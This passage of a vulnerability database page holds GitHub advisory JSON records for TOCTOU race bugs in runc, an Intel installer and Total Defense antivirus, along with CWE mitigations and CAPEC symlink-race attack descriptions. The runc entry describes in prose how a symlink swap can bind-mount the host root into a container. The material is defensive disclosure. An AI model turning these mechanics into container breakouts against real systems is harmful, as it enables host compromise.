instance,\n`/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir`), and then\nusing that symlink as the target of a mount. The source of the mount is an\nattacker controlled directory, and thus the source directory from which\nsubsequent mounts will occur is an attacker-controlled directory. Thus the\nattacker can first place a symlink to `/` in their malicious source directory\nwith the name of a volume, and a subsequent mount in the container will\nbind-mount `/` into the container.\n\nApplying this attack requires the attacker to start containers with a slightly\npeculiar volume configuration (though not explicitly malicious-looking such as\nbind-mounting `/` into the container explicitly), and be able to run malicious\ncode in a container that shares volumes with said volume configuration. It\nhelps the attacker if the host paths used for volume management are well known,\nthough this is not a hard requirement.\n\n### Patches\nThis has been patched in runc 1.0.0-rc95, and users should upgrade as soon as\npossible. The patch itself can be found [here](https://github.com/opencontainers/runc/commit/0ca91f44f1664da834bc61115a849b56d22f595f).\n\n### Workarounds\n\nThere are no known workarounds for this issue.\n\nHowever, users who enforce running containers with more confined security\nprofiles (such as reduced capabilities, not running code as root in the\ncontainer, user namespaces, AppArmor/SELinux, and seccomp) will restrict what\nan attacker can do in the case of a container breakout -- we recommend users\nmake use of strict security profiles if possible (most notably user namespaces\n-- which can massively restrict the impact a container breakout can have on the\nhost system).\n\n### References\n* [commit](https://github.com/opencontainers/runc/commit/0ca91f44f1664da834bc61115a849b56d22f595f)\n* [seclists public disclosure](https://www.openwall.com/lists/oss-security/2021/05/19/2)\n\n### Credit\n\nThanks to Etienne Champetier for discovering and disclosing this vulnerability,\nto Noah Meyerhans for writing the first draft of this patch, and to Samuel Karp\nfor testing it.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [our issue tracker](https://github.com/opencontainers/runc/issues).\n* Email us at \u003csecurity@opencontainers.org\u003e.",
  "id": "GHSA-c3xm-pvg7-gh7r",
  "modified": "2021-05-21T19:34:43Z",
  "published": "2021-05-25T18:44:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/security/advisories/GHSA-c3xm-pvg7-gh7r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-30465"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/0ca91f44f1664da834bc61115a849b56d22f595f"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.opensuse.org/show_bug.cgi?id=1185405"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/releases"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/03/msg00023.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/35ZW6NBZSBH5PWIT7JU4HXOXGFVDCOHH"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4HOARVIT47RULTTFWAU7XBG4WY6TDDHV"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202107-26"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210708-0003"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2021/05/19/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mount destinations can be swapped via symlink-exchange to cause mounts outside the rootfs"
}

GHSA-C45Q-6FW9-RHWR

Vulnerability from github – Published: 2025-08-12 18:31 – Updated: 2025-08-12 18:31
VLAI
Details

Time-of-check Time-of-use race condition for some Intel(R) Connectivity Performance Suite software installers before version 40.24.11210 may allow an authenticated user to potentially enable escalation of privilege via local access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-20074"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-12T17:15:28Z",
    "severity": "HIGH"
  },
  "details": "Time-of-check Time-of-use race condition for some Intel(R) Connectivity Performance Suite software installers before version 40.24.11210 may allow an authenticated user to potentially enable escalation of privilege via local access.",
  "id": "GHSA-c45q-6fw9-rhwr",
  "modified": "2025-08-12T18:31:27Z",
  "published": "2025-08-12T18:31:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20074"
    },
    {
      "type": "WEB",
      "url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01286.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-C4J5-R43R-6PCX

Vulnerability from github – Published: 2022-05-24 17:00 – Updated: 2024-04-04 02:37
VLAI
Details

The malware scan function in Total Defense Anti-virus 11.5.2.28 is vulnerable to a TOCTOU bug; consequently, symbolic link attacks allow privileged files to be deleted.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-18644"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-31T00:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The malware scan function in Total Defense Anti-virus 11.5.2.28 is vulnerable to a TOCTOU bug; consequently, symbolic link attacks allow privileged files to be deleted.",
  "id": "GHSA-c4j5-r43r-6pcx",
  "modified": "2024-04-04T02:37:13Z",
  "published": "2022-05-24T17:00:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-18644"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NtRaiseHardError/Antimalware-Research/blob/master/Total%20Defense/Privileged%20File%20Delete/v11.5.2.28/README.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Implementation

The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.

Mitigation
Implementation

When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.

Mitigation
Architecture and Design

Limit the interleaving of operations on files from multiple processes.

Mitigation
Implementation Architecture and Design

If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.

Mitigation
Implementation

Recheck the resource after the use call to verify that the action was taken appropriately.

Mitigation
Architecture and Design

Ensure that some environmental locking mechanism can be used to protect resources effectively.

Mitigation
Implementation

Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.

CAPEC-27: Leveraging Race Conditions via Symbolic Links

This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.

CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.